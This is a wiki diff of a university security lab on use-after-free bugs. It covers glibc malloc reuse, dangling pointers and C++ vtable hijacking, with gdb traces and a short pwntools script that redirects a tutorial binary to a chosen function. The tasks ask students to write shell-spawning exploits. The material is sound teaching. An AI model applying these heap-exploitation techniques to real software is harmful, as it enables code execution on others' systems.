Differences

This shows you the differences between two versions of the page.

Link to this comparison view

cns:labs:lab-10 [2019/11/30 11:07]
dennis.plosceanu [List Printer - C++]
cns:labs:lab-10 [2021/01/11 16:59] (current)
mihai.dumitru2201 [C++ objects memory layout]
Line 1: Line 1:
 ====== Lab 10 - Use After Free ====== ====== Lab 10 - Use After Free ======
- 
-===== Resources ===== 
- 
-  * [[https://​ocw.cs.pub.ro/​courses/​cpl/​labs/​06 |CPL Lab 06 -  Structure of data and objects in memory]] 
-  * [[https://​ocw.cs.pub.ro/​courses/​so/​laboratoare/​laborator-05 |SO Lab 06 -  Memory management]] 
-  * [[https://​sploitfun.wordpress.com/​2015/​02/​10/​understanding-glibc-malloc/​ |Understanding glibc malloc]] 
-  * [[https://​github.com/​lattera/​glibc/​blob/​master/​malloc/​malloc.c |malloc.c]] 
-  * [[http://​security.cs.rpi.edu/​courses/​binexp-spring2015/​lectures/​17/​10_lecture.pdf |Heap Exploitation lecture - Markus Gaaseedelen,​ CSCI 4968, Sprint 2015]] 
-  * [[https://​www.geeksforgeeks.org/​virtual-function-cpp/​ |Virtual functions]] 
-  * [[https://​en.wikipedia.org/​wiki/​Virtual_method_table |Virtual Method Table]] 
- 
- 
-===== Supporting files ===== 
-You will use this [[http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-10.tar.gz|lab archive]] throughout the lab. 
- 
-Please download the lab archive an then unpack it using the commands below: 
-<code bash> 
-$ wget http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-10.tar.gz 
-$ tar xzf lab-10.tar.gz 
-</​code>​ 
- 
-After unpacking, you will get the ''​lab-10/''​ folder: 
-<code bash> 
-$ cd lab-10/ 
-$ ls -F 
-TODO: add files 
-</​code>​ 
  
 ===== Introduction ===== ===== Introduction =====
  
-**Use-after-free** refers to the bug in which the data from a memory region is+**Use-after-free** refers to a class of bugs in which the data from a memory region is
 still used after the region is freed. still used after the region is freed.
-The most common causes ​are of use-after-free bugs are:+The most common causes of use-after-free bugs are: 
   * Wrongly handled error conditions   * Wrongly handled error conditions
   * Unaccounted for program states   * Unaccounted for program states
   * Confusion over which part of the program is responsible for freeing the memory   * Confusion over which part of the program is responsible for freeing the memory
  
-Such bugs can have various adverse ​consequances:+Such bugs can have various adverse ​consequences: 
   * crashes   * crashes
   * corruption of valid data   * corruption of valid data
Line 60: Line 35:
  
 The innards of ''​malloc''​ aren't trivial to understand so we will work with The innards of ''​malloc''​ aren't trivial to understand so we will work with
-more of an general overview of what it does and how can we predict what it +more of general overview of what it does and how can we predict what it 
-will do so we can create a repetable ​exploit.+will do so we can create a repeatable ​exploit.
  
 The first thing worth mentioning is that **not all addresses returned by malloc The first thing worth mentioning is that **not all addresses returned by malloc
Line 111: Line 86:
  
  
-Use the program from ''​malloc_addr''​ to see how ''​malloc''​ manifests for different sizes.+Use the program from ''​00-malloc-addr''​ to see how ''​malloc''​ manifests for different sizes.
 The program does pairs of ''​malloc''​ + ''​free''​ to inspect for what range of sizes will The program does pairs of ''​malloc''​ + ''​free''​ to inspect for what range of sizes will
 the returned pointer be the same. the returned pointer be the same.
Line 161: Line 136:
  
 ===== Dangling Pointers ===== ===== Dangling Pointers =====
 +
 A **dangling pointer** is a pointer variable through which the freed memory is accessed. For example: A **dangling pointer** is a pointer variable through which the freed memory is accessed. For example:
  
Line 200: Line 176:
  
 ==== Tutorial ==== ==== Tutorial ====
-Enter the ''​c_tutorial''​ directory and check the source code for bugs.+ 
 +Enter the ''​00-c-tutorial/​''​ directory and check the source code for bugs.
  
 We can see that in the ''​default''​ case of the ''​switch''​ the object is freed but the program We can see that in the ''​default''​ case of the ''​switch''​ the object is freed but the program
Line 213: Line 190:
 </​code>​ </​code>​
  
-The ''​post_action_msg''​ buffer is //​conveniently// ​conveniently ​allocated to a size similar to that+The ''​post_action_msg''​ buffer is //​conveniently//​ allocated to a size similar to that
 of ''​struct person''​ and ''​fgets''​ is used to read something in the newly allocated buffer. of ''​struct person''​ and ''​fgets''​ is used to read something in the newly allocated buffer.
  
Line 289: Line 266:
  
 Afterward we reach the following code where it tries to ''​call rdx''​. Afterward we reach the following code where it tries to ''​call rdx''​.
-If we print its value we see that its value concides ​with the 8 bytes read+If we print its value we see that its value coincides ​with the 8 bytes read
 with the previous ''​fgets''​. with the previous ''​fgets''​.
 <code asm> <code asm>
Line 319: Line 296:
 Though function pointers inside structures in C code seem a bit esoteric, in Though function pointers inside structures in C code seem a bit esoteric, in
 object oriented languages (like C++) they are standard practice but overlooked object oriented languages (like C++) they are standard practice but overlooked
-do to the added layers of abstraction. Most of the times C programs that use+due to the added layers of abstraction. Most of the times C programs that use
 these kinds of structures try to emulate an object oriented style. these kinds of structures try to emulate an object oriented style.
  
Line 325: Line 302:
 (or virtual function tables) are used to facilitate polymorphism and inheritance. An object will (or virtual function tables) are used to facilitate polymorphism and inheritance. An object will
 contain a pointer to a list of functions (only the [[https://​www.geeksforgeeks.org/​virtual-function-cpp/​ |virtual]] contain a pointer to a list of functions (only the [[https://​www.geeksforgeeks.org/​virtual-function-cpp/​ |virtual]]
-ones) so that it maintains the methods of its type even if casted ​to another+ones) so that it maintains the methods of its type even if cast to another
 one upper in the inheritance tree. one upper in the inheritance tree.
  
Line 333: Line 310:
 class B { class B {
   int a, b;   int a, b;
 +public:
   virtual void f(void);   virtual void f(void);
 }; };
Line 338: Line 316:
 class B1 { class B1 {
   int x, y;   int x, y;
 +public:
   virtual void z(void);   virtual void z(void);
 }; };
  
-class D: B, B1 {+class D: public ​B, public ​B1 {
   int c, d;   int c, d;
 +public:
   void f(void);   void f(void);
   void z(void);   void z(void);
 }; };
  
-D objD; B1 * ptrB1; +int main() 
-ptrB1 = &​objD;​ +
-ptrB1->f();+  ​D objD; B1 * ptrB1; 
 +  ptrB1 = &​objD;​ 
 +  ptrB1->z(); 
 +}
 </​code>​ </​code>​
  
Line 359: Line 342:
 ''​D''​ will contain its own methods. ''​D''​ will contain its own methods.
  
-When doing an upcast (cast to a parent class) the pointer is just offseted ​to+When doing an upcast (cast to a parent class) the pointer is just offset ​to
 the correct subobject (e.g.: when casting to ''​B1''​ ''​ptrB1''​ will start from the correct subobject (e.g.: when casting to ''​B1''​ ''​ptrB1''​ will start from
 ''​PVTable1''​). ''​PVTable1''​).
Line 369: Line 352:
  
 We can also use the compiler to see the data layout. Copy the code above into We can also use the compiler to see the data layout. Copy the code above into
-a file ''​dummy.cpp'' ​and add a main function to make it a valid program: +a file ''​dummy.cpp''​.
-<code cpp> +
-int main() { return sizeof(D); } +
-</​code>​+
  
 Then run: Then run:
Line 411: Line 391:
  
 ==== Tutorial ==== ==== Tutorial ====
 +
 +Go to the ''​00-cpp-tutorial/''​ directory and look at the source code.
 +
 +The bug is related to an error check prematurely deleting the object:
 +<code cpp>
 +A *a = new A(x);
 +
 +if (x < 0)
 +    delete a;  // <- pointer is deleted
 +...
 +std::cout << header << ":"​ << a->​negate() << "​\n";​ <- object still used
 +</​code>​
 +
 +Before calling the object method a new buffer is allocated and read:
 +<code cpp>
 +char *header = new char[16];
 +std::​cin.getline(header,​ 16);
 +</​code>​
 +
 +Remember that virtual functions exist in a **virtual function table**
 +so we not only need the address of a target function to call, but
 +also the address of an array containing the function address.
 +
 +Luckily the program already provides an array containing ''​bad_func'':​
 +<code cpp>
 +void (*func_list[3])(uint64_t) = { bad_func };
 +</​code>​
 +
 +<​note>​
 +Remember that non-static class methods take an implicit ''​this''​ argument:
 +<code cpp>
 +class Foo {
 +    void bar(int x, int y);
 +};
 +</​code>​
 +
 +Here the ''​bar''​ method takes 3 arguments. Translated to C:
 +<code cpp>
 +struct Foo {
 +    void (*bar)(struct Foo*, int, int);
 +};
 +</​code>​
 +</​note>​
 +
 +Lets check how the method call is done in assembly:
 +<code gdb>
 +   ...
 +   ​0x0000000000401259 <​+92>: ​   mov    rdi,​rbx ​                 <- first arg (this)
 +   ​0x000000000040125c <​+95>: ​   call   ​0x40138c <​A::​A(int)> ​    <- constructor
 +   ​0x0000000000401261 <​+100>: ​  ​mov ​   QWORD PTR [rbp-0x28],​rbx <- pointer stored on stack
 +   ...
 +   ​0x00000000004012e2 <​+229>: ​  ​mov ​   rax,QWORD PTR [rbp-0x28] <- get pointer from stack
 +   ​0x00000000004012e6 <​+233>: ​  ​mov ​   rax,QWORD PTR [rax]      <- get VFT (offset 0 in class)
 +   ​0x00000000004012e9 <​+236>: ​  ​mov ​   rdx,QWORD PTR [rax]      <- get VFT[0] (negate method)
 +   ​0x00000000004012ec <​+239>: ​  ​mov ​   rax,QWORD PTR [rbp-0x28] <- get pointer from stack
 +   ​0x00000000004012f0 <​+243>: ​  ​mov ​   rdi,​rax ​                 <- first arg (this)
 +   ​0x00000000004012f3 <​+246>: ​  ​call ​  ​rdx ​                     <- call negate(this)
 +   ...
 +</​code>​
 +
 +Like in the C tutorial, check that the second ''​malloc''​ returns the same
 +address (if we input ''​-1''​ so the object is deleted):
 +<code gdb>
 +gdb-peda$ b *0x401251
 +gdb-peda$ c
 +Continuing.
 +Enter a number: -1
 +    ...
 +   ​0x40124c <​main+79>: ​ call   ​0x401090 <​operator new(unsigned long)@plt>​
 +=> 0x401251 <​main+84>: ​ mov    rbx,rax
 +gdb-peda$ p/x $rax
 +$1 = 0x4176d0
 +gdb-peda$ b *0x4012a1
 +gdb-peda$ c
 +    ...
 +   ​0x40129c <​main+159>:​ call   ​0x401030 <​operator new[](unsigned long)@plt>​
 +=> 0x4012a1 <​main+164>:​ mov    QWORD PTR [rbp-0x20],​rax
 +gdb-peda$ p/x $rax
 +$2 = 0x4176d0
 +</​code>​
 +
 +Use the following script to get the program to call ''​bad_func'':​
 +<code python>
 +from pwn import *
 +
 +elf = ELF('​./​cpp_tut'​)
 +io = process('​./​cpp_tut'​)
 +io.sendline("​-1"​)
 +io.sendline(p64(elf.symbols['​func_list'​]))
 +
 +io.interactive()
 +</​code>​
 +
 +Output:
 +<code bash>
 +$ python2 exploit.py
 +[*] '/​home/​student/​cns/​10-UAF/​00-cpp-tutorial/​cpp_tut'​
 +    Arch:     ​amd64-64-little
 +    RELRO: ​   Partial RELRO
 +    Stack: ​   Canary found
 +    NX:       NX enabled
 +    PIE:      No PIE (0x400000)
 +[+] Starting local process '​./​cpp_tut':​ pid 29763
 +[*] Switching to interactive mode
 +[*] Process '​./​cpp_tut'​ stopped with exit code 0 (pid 29763)
 +Enter a number:Read a header:​\x90@@:​Your '​this'​ pointer = 0x15c72d0
 +32
 +</​code>​
 +
  
 ===== Tasks ===== ===== Tasks =====
 +
 +All content necessary for the CNS laboratory tasks can be found in [[cns:​resources:​repo|the CNS public repository]]. ​
 +
 +
 +==== List Printer - C++ ====
 +
 +Go to the ''​01-list-printer/''​ directory and examine the code/binary to find the
 +use-after-free bug. Create an exploit to run a shell.
  
 ==== Point - C ==== ==== Point - C ====
  
-Go to the ''​point/''​ directory and examine the code/binary to find the+Go to the ''​02-point/''​ directory and examine the code/binary to find the
 use-after-free bug. Create an exploit to run ''​system("​sh"​)''​ use-after-free bug. Create an exploit to run ''​system("​sh"​)''​
  
Line 436: Line 533:
                         |  vector_len ​  |                         |  vector_len ​  |
                         +---------------+                         +---------------+
- 
- 
 </​code>​ </​code>​
  
Line 461: Line 556:
 </​note>​ </​note>​
  
-==== List Printer - C++ ==== +===== Resources =====
- +
-Go to the ''​list_printer/''​ directory and examine the code/binary to find the +
-use-after-free bug. Create an exploit to run a shell. +
- +
-<​note>​ +
-Remember that non-static class methods take an implicit ''​this''​ argument: +
-<code cpp> +
-class Foo { +
-    void bar(int x, int y); +
-}; +
-</​code>​ +
-Here the ''​bar''​ method takes 3 arguments. Translated to C: +
-<code cpp> +
-struct Foo { +
-    void (*bar)(struct Foo*, int, int); +
-}; +
-</​code>​ +
- +
-</​note>​+
  
 +  * [[https://​ocw.cs.pub.ro/​courses/​cpl/​labs/​06 |CPL Lab 06 -  Structure of data and objects in memory]]
 +  * [[https://​ocw.cs.pub.ro/​courses/​so/​laboratoare/​laborator-05 |SO Lab 06 -  Memory management]]
 +  * [[https://​sploitfun.wordpress.com/​2015/​02/​10/​understanding-glibc-malloc/​ |Understanding glibc malloc]]
 +  * [[https://​github.com/​lattera/​glibc/​blob/​master/​malloc/​malloc.c |malloc.c]]
 +  * [[http://​security.cs.rpi.edu/​courses/​binexp-spring2015/​lectures/​17/​10_lecture.pdf |Heap Exploitation lecture - Markus Gaaseedelen,​ CSCI 4968, Sprint 2015]]
 +  * [[https://​devel0pment.de/?​p=688#​basic|Heap Exploitation:​ Off-By-One / Poison Null Byte]]
 +  * [[https://​www.geeksforgeeks.org/​virtual-function-cpp/​ |Virtual functions]]
 +  * [[https://​en.wikipedia.org/​wiki/​Virtual_method_table |Virtual Method Table]]
 +  * [[https://​stackoverflow.com/​a/​2392656/​4804196|Why Do We Need Virtual Functions in C++]]
  
cns/labs/lab-10.1575104863.txt.gz · Last modified: 2019/11/30 11:07 by dennis.plosceanu
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0